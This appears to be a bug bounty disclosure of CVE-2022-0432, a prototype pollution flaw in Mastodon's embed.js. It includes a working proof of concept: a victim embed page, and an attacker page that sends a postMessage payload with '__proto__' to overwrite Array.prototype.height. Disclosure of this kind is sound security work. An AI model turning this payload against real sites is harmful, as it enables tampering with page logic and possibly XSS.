Headline
CVE-2022-0432: Prototype Pollution in mastodon
Prototype Pollution in GitHub repository mastodon/mastodon prior to 3.5.0.
Description
Javascript is “prototype” language which means when a new “object” is created, it carries the predefined properties and methods of an “object” with itself like toString, constructor etc.
By using prototype-pollution vulnerability, an attacker can overwrite/create the property of that “object” type. If the victim developer has used that property anywhere in the code, then it will have severe effect on the application.
For e.g.:
var obj = {};
console.log(obj.A); // undefined
obj["__proto__"].A = 1;
console.log(obj.A); // 1
var new_obj = {};
console.log(new_obj.A); // 1 -> exploit
Proof of Concept
STEP 1: Victim user post toots on mastodon and embed his/her toots on his/her website using following code:
NOTE: ignore the custom code, it just explains the vulnerability on webpage. focus on the official code provided by mastodon (i.e. iframe of toot and embed.js script)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Victim's website</title>
</head>
<body>
<div id='before'></div>
<br>
<div id='exploit-status'></div>
<div id='after'></div>
<div id='info'></div>
<script type="text/javascript">
var sample = []; // Array
document.getElementById("before").innerHTML = "var sample = [];<br><b>BEFORE</b> running the exploit, the value of sample.height = " + sample.height;
document.getElementById("exploit-status").innerHTML = "[+] Running exploit..."
</script>
<iframe src="https://mas.to/@reo1212/107650549212219629/embed" class="mastodon-embed" style="max-width: 100%; border: 0" width="400" allowfullscreen="allowfullscreen"></iframe><script src="https://mas.to/embed.js" async="async"></script>
<script type="text/javascript">
setTimeout(function(){
document.getElementById("exploit-status").innerHTML = "[+] Finished"
document.getElementById("after").innerHTML = "<b>AFTER</b> running the exploit, the value of sample.height = " + sample.height;
document.getElementById("info").innerHTML = "To validate whether the exploit is working, please run the following in the console: \n<pre>var anything = [];\nconsole.log(anything.height);</pre> it will give you default value 100 which was set by my exploit";
}, 6000);
</script>
</body>
</html>
STEP 2: Attacker host the following code on his/her website.
NOTE: PLEASE change the required values of target website in the code
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<p>
This exploit will create or overwrite the "height" property of "Array" object in the target browser window where "embed.js" is loaded by website.
</p>
<script>
function exploit(){
var target = 'http://localhost:8081/mastodon-test.html'; // CHANGE THIS VALUE
var payload = JSON.parse('{"type": "setHeight", "id": "__proto__", "height": "100"}');
window.poc = window.open(target);
setTimeout(function(){
window.poc.postMessage(
payload,
'*'
);
}, 4000);
}
</script>
<input type="button" onclick="exploit()" value="EXPLOIT">
</body>
</html>
STEP 3: Now, exploit the vulnerability by clicking the EXPLOIT button on attacker’s website.
Now, create any array object and check the value of height property, it will be 100 as described by my exploit. video PoC will help here.
For better understanding of the bug, please check video PoC: https://drive.google.com/file/d/1vpZ0CcmFhTEUasLTPUBf8o-4l7G6ojtG/view
Impact
Prototype pollution can be used to create/overwrite predefined properties and methods of object type. It can lead to XSS, change code logic etc. based on the application code.